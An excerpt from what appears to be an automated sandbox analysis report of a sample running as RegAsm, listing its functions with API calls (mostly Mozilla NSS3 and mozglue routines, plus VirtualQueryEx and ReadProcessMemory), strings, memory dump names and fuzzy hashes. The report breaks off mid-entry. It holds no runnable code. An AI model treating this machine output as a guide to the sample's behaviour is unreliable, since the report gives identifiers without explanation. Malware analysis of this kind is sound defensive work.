Instruction Fuzzy Hash: 32413AB4A007058FCB04DF78D5848AABBF4FF49304B158669ED599B711EB30E896CF91

Function 6C8DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C8DB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C8DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C8DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C8DB5F4
__Init_thread_footer.LIBCMT ref: 6C8DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C8DB61F
std::_Facet_Register.LIBCPMT ref: 6C8DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8DB655

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7d5b71f620134cb341f66a792e472be7a65a78b2c189daac2acb37ff9fd03e2f
Instruction ID: 19fb974692e5b7f5820170f5d36500221a616f66f2a1f457d2d3b7a985bbab25
Opcode Fuzzy Hash: 7d5b71f620134cb341f66a792e472be7a65a78b2c189daac2acb37ff9fd03e2f
Instruction Fuzzy Hash: 01319271B002048BCB70DB69D9549BEBBB5EF8E329B150935D91297740DB30A806CBD1

Function 6C904F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C904FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9051BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C9051DF
misuse, xrefs: 6C9051AF
%s at line %d of [%.10s], xrefs: 6C9051B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9051A5

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 5a47e49a2e26a2c26f7948b0ef393e7e0c059cbf348be684df17ce650f5659a2
Instruction ID: ad46890372fdf68a60389aa63c01ef5c3d2f3a2eb19696bb2b8e4715e5a64479
Opcode Fuzzy Hash: 5a47e49a2e26a2c26f7948b0ef393e7e0c059cbf348be684df17ce650f5659a2
Instruction Fuzzy Hash: 3471AEB5B0420ADFDB00CE15CD80B9A77FABF48308F144528FD199BA86D735E951CBA5

Function 6C972D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C972D69

Strings

winSeekFile, xrefs: 6C972E9C
winTruncate2, xrefs: 6C972EF8
winUnmapfile1, xrefs: 6C972F55
winUnmapfile2, xrefs: 6C972F7F
winTruncate1, xrefs: 6C972EBE

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 84700cd1f228bda7df2923678d6744babe3a6d19dede1ee034c6a909aa6552fc
Instruction ID: 25d6ac9180af836058b134f2150fc9edbb652e083cb634fcd574e98b28f57542
Opcode Fuzzy Hash: 84700cd1f228bda7df2923678d6744babe3a6d19dede1ee034c6a909aa6552fc
Instruction Fuzzy Hash: 9161CF71B01705DFDB58CF68D894AAA7BB5FF49314F108628E9069B780DB31ED06CBA1

Function 004169A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004169BF
??_U@YAPAXI@Z.MSVCRT ref: 004169ED

Part of subcall function 00416670: strlen.MSVCRT ref: 00416681
Part of subcall function 00416670: strlen.MSVCRT ref: 004166A5

VirtualQueryEx.KERNEL32(00416DAD,00000000,?,0000001C), ref: 00416A32
??_V@YAXPAX@Z.MSVCRT ref: 00416B53

Part of subcall function 00416880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416898

Strings

@, xrefs: 00416A46
:lA, xrefs: 00416A18, 00416A1B

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: :lA$@
API String ID: 2950663791-2855229504
Opcode ID: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction ID: 51c9d4b078fe92f83ab81220ebbaf7cdf2a8f9ee762561721c09ea6573e6fdbd
Opcode Fuzzy Hash: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction Fuzzy Hash: 845108B5E04119ABDB04CF94D981AEFB7B5FF88304F108519F915A7240D738EA51CBA9

Function 6C9CAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C9CAB3E,?,?,?), ref: 6C9CAC35

Part of subcall function 6C9ACEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C9ACF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9CAB3E,?,?,?), ref: 6C9CAC55

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9CAB3E,?,?), ref: 6C9CAC70

Part of subcall function 6C9AE300: TlsGetValue.KERNEL32 ref: 6C9AE33C
Part of subcall function 6C9AE300: EnterCriticalSection.KERNEL32(?), ref: 6C9AE350
Part of subcall function 6C9AE300: PR_Unlock.NSS3(?), ref: 6C9AE5BC
Part of subcall function 6C9AE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C9AE5CA
Part of subcall function 6C9AE300: TlsGetValue.KERNEL32 ref: 6C9AE5F2
Part of subcall function 6C9AE300: EnterCriticalSection.KERNEL32(?), ref: 6C9AE606
Part of subcall function 6C9AE300: PORT_Alloc_Util.NSS3(?), ref: 6C9AE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C9CAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9CAB3E), ref: 6C9CACD7
PORT_Alloc_Util.NSS3(?), ref: 6C9CAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C9CAD2B

Part of subcall function 6C9AF360: TlsGetValue.KERNEL32(00000000,?,6C9CA904,?), ref: 6C9AF38B
Part of subcall function 6C9AF360: EnterCriticalSection.KERNEL32(?,?,?,6C9CA904,?), ref: 6C9AF3A0
Part of subcall function 6C9AF360: PR_Unlock.NSS3(?,?,?,?,6C9CA904,?), ref: 6C9AF3D3

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b527fac69a065862cd584f5a65411d7d257a2e5a8109b9c06fbb260e680054ea
Instruction ID: eaf8b95fcf9f3d4c17479c41444095d2a636e1fa65dc037aacf0cf83f0eef3fc
Opcode Fuzzy Hash: b527fac69a065862cd584f5a65411d7d257a2e5a8109b9c06fbb260e680054ea
Instruction Fuzzy Hash: AC3119B1F406065FEB049F65CC409AF776AAF9471CB188128E8159B740EF31DD1587A3

Function 6C8B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C8B1BE3,?,?,6C8B1D96,00000000), ref: 6C8B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C8B1BE3,?,?,6C8B1D96,00000000), ref: 6C8B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C8B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8B1DDA

Part of subcall function 6C8B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C8B1F03
Part of subcall function 6C8B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C8B1DF2,00000000,00000000), ref: 6C8B1F0C
Part of subcall function 6C8B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C8B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C8B1DF4

Part of subcall function 6C87CA10: malloc.MOZGLUE(?), ref: 6C87CA26

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: dd2feb9a8b51f1d736858803d55b8409ad9c74d0c9c9e33496166fc112c02bc9
Instruction ID: 4fe049f42f89361f8e0f3b4d1be8b177803f0886822f3fd4f6d6534304aad105
Opcode Fuzzy Hash: dd2feb9a8b51f1d736858803d55b8409ad9c74d0c9c9e33496166fc112c02bc9
Instruction Fuzzy Hash: 9A418CB52007059FCB60CF28C584A66BBF5FF89318F10482DE95A87B41CB31F814CB94

Function 6C9A8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C9A8C7C

Part of subcall function 6CA49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CA90A27), ref: 6CA49DC6
Part of subcall function 6CA49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CA90A27), ref: 6CA49DD1
Part of subcall function 6CA49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA49DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A8CB0
TlsGetValue.KERNEL32 ref: 6C9A8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C9A8CE5
PR_Unlock.NSS3(?), ref: 6C9A8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C9A8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A8D93

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 37a4ce729d1b7edf8c89699383cc94f8ef4bd3ff71cd861ce4fd0b0b2b85ddf7
Instruction ID: 3882192d8df4c8af25dad1f2f8f7e104df942a534aa4b258619446161a59a41e
Opcode Fuzzy Hash: 37a4ce729d1b7edf8c89699383cc94f8ef4bd3ff71cd861ce4fd0b0b2b85ddf7
Instruction Fuzzy Hash: 72316A71A01301AFE708AFA8DC4479AB7B8BF14318F14013AEA1567B50D730E96ACBC5

Function 6C9A2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C99E728,?,00000038,?,?,00000000), ref: 6C9A2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9A2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9A2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C9A2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C9A2E9E
PR_Unlock.NSS3(?), ref: 6C9A2EAB
PR_Unlock.NSS3(?), ref: 6C9A2F0D

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9c6c053aba757952a874d691a21ce19c32cd8a2291bae9bf58bed3eccb1cb3cb
Instruction ID: 76f1bd6497b44df8f2369c814e0a166ca2c99ac1d808cec3c0b665dd8d63c420
Opcode Fuzzy Hash: 9c6c053aba757952a874d691a21ce19c32cd8a2291bae9bf58bed3eccb1cb3cb
Instruction Fuzzy Hash: EC312875A00A069BEB005F69DC44876B778FF19258B588174ED0CC7611FB31ECA6C7E0

Function 6C9ECEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C9ECD93,?), ref: 6C9ECEEE

Part of subcall function 6C9E14C0: TlsGetValue.KERNEL32 ref: 6C9E14E0
Part of subcall function 6C9E14C0: EnterCriticalSection.KERNEL32 ref: 6C9E14F5
Part of subcall function 6C9E14C0: PR_Unlock.NSS3 ref: 6C9E150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C9ECD93,?), ref: 6C9ECEFC

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C9ECD93,?), ref: 6C9ECF0B

Part of subcall function 6C9E0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9E08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C9ECD93,?), ref: 6C9ECF1D

Part of subcall function 6C9DFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9D8D2D,?,00000000,?), ref: 6C9DFB85
Part of subcall function 6C9DFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9DFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C9ECD93,?), ref: 6C9ECF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C9ECD93,?), ref: 6C9ECF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C9ECD93,?,?,?,?,?,?,?,?,?,?,?,6C9ECD93,?), ref: 6C9ECF78

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 2eacaf2d3b25bf7bd24e7350e86c7b645c148012f1031c6afc282cd3c6063618
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: C211D5B1A003005BEB05AB666C41B6B79EC9F7D14DF044839EC49D7742FB70DA1886B1

Function 6C8A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A85AC

Part of subcall function 6C8A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A767F
Part of subcall function 6C8A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A7693
Part of subcall function 6C8A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C8A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8A85B2

Part of subcall function 6C885E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C885EDB
Part of subcall function 6C885E90: memset.VCRUNTIME140(6C8C7765,000000E5,55CCCCCC), ref: 6C885F27
Part of subcall function 6C885E90: LeaveCriticalSection.KERNEL32(?), ref: 6C885FB2

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c265b0435910f718757152089e1290c26e5c1f14ea7675aef0d47a8dd65a5094
Instruction ID: d652a981cce79b4d7602ed722987d839b8262227ba401daed9c03db723108601
Opcode Fuzzy Hash: c265b0435910f718757152089e1290c26e5c1f14ea7675aef0d47a8dd65a5094
Instruction Fuzzy Hash: F4219F746007418FDB24DB68C988A5AB7B5BF8430CF240C2DE95B83B41DB31F949CBA1

Function 6C998C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C998C1B
EnterCriticalSection.KERNEL32 ref: 6C998C34
PL_ArenaAllocate.NSS3 ref: 6C998C65
PR_Unlock.NSS3 ref: 6C998C9C
PR_Unlock.NSS3 ref: 6C998CB6

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

Strings

KRAM, xrefs: 6C998C8F

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: f0acb06264f6f3fb35b1252fc7090c991888286bdd525fff0549b71af249ecf1
Instruction ID: 5fb328380fe5c1cf7869b121b5a4d6a8a6fda1c4e0d9c42323598d98add78424
Opcode Fuzzy Hash: f0acb06264f6f3fb35b1252fc7090c991888286bdd525fff0549b71af249ecf1
Instruction Fuzzy Hash: B82171B1A05B118FD704AF78C484569BBF4FF15304F19896ED888CB711EB35E88ACB95

Function 6C8AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C89CBE8: GetCurrentProcess.KERNEL32(?,6C8631A7), ref: 6C89CBF1
Part of subcall function 6C89CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8631A7), ref: 6C89CBFA

Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C874A68), ref: 6C8A945E
Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8A9470
